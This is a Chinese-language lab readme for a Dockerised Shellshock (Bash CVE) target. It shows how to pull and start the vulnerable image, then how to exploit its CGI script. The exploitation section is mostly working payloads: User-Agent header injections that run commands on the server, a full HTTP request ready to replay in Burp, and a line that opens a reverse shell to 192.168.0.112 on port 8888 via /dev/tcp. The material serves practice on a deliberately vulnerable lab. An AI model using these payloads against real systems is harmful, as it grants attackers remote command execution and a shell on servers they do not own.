获取环境:

  1. 拉取镜像到本地
    $ docker pull medicean/vulapps:b_bash_shellshock1
    
  2. 启动环境
    $ docker run -d -p 80:80 medicean/vulapps:b_bash_shellshock1
    

    -p 80:80 前面的 80 代表物理机的端口,可随意指定。

使用与利用

访问 http://你的 IP 地址/cgi-bin/poc.cgi,通过 Burp 截包,修改 HTTP 请求头中 UA 字段:

User-Agent: () { :;};echo ; echo; echo $(/bin/ls -al /);
User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.168.0.112/8888 0>&1;

完整的请求报文如下(可直接复制到 Burp 下重放):

GET /cgi-bin/poc.cgi HTTP/1.1
Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: () { :;};echo ; echo; echo; echo $(/bin/ls -al / );
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6


注意:部分嵌入式设备的环境变量未设置会导致一些命令需要使用绝对路径,可在执行命令前导入环境变量

eg:

User-Agent: () { :;};echo ; echo; export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; echo $(/bin/ls -al /);

改动日志

20170103

20160731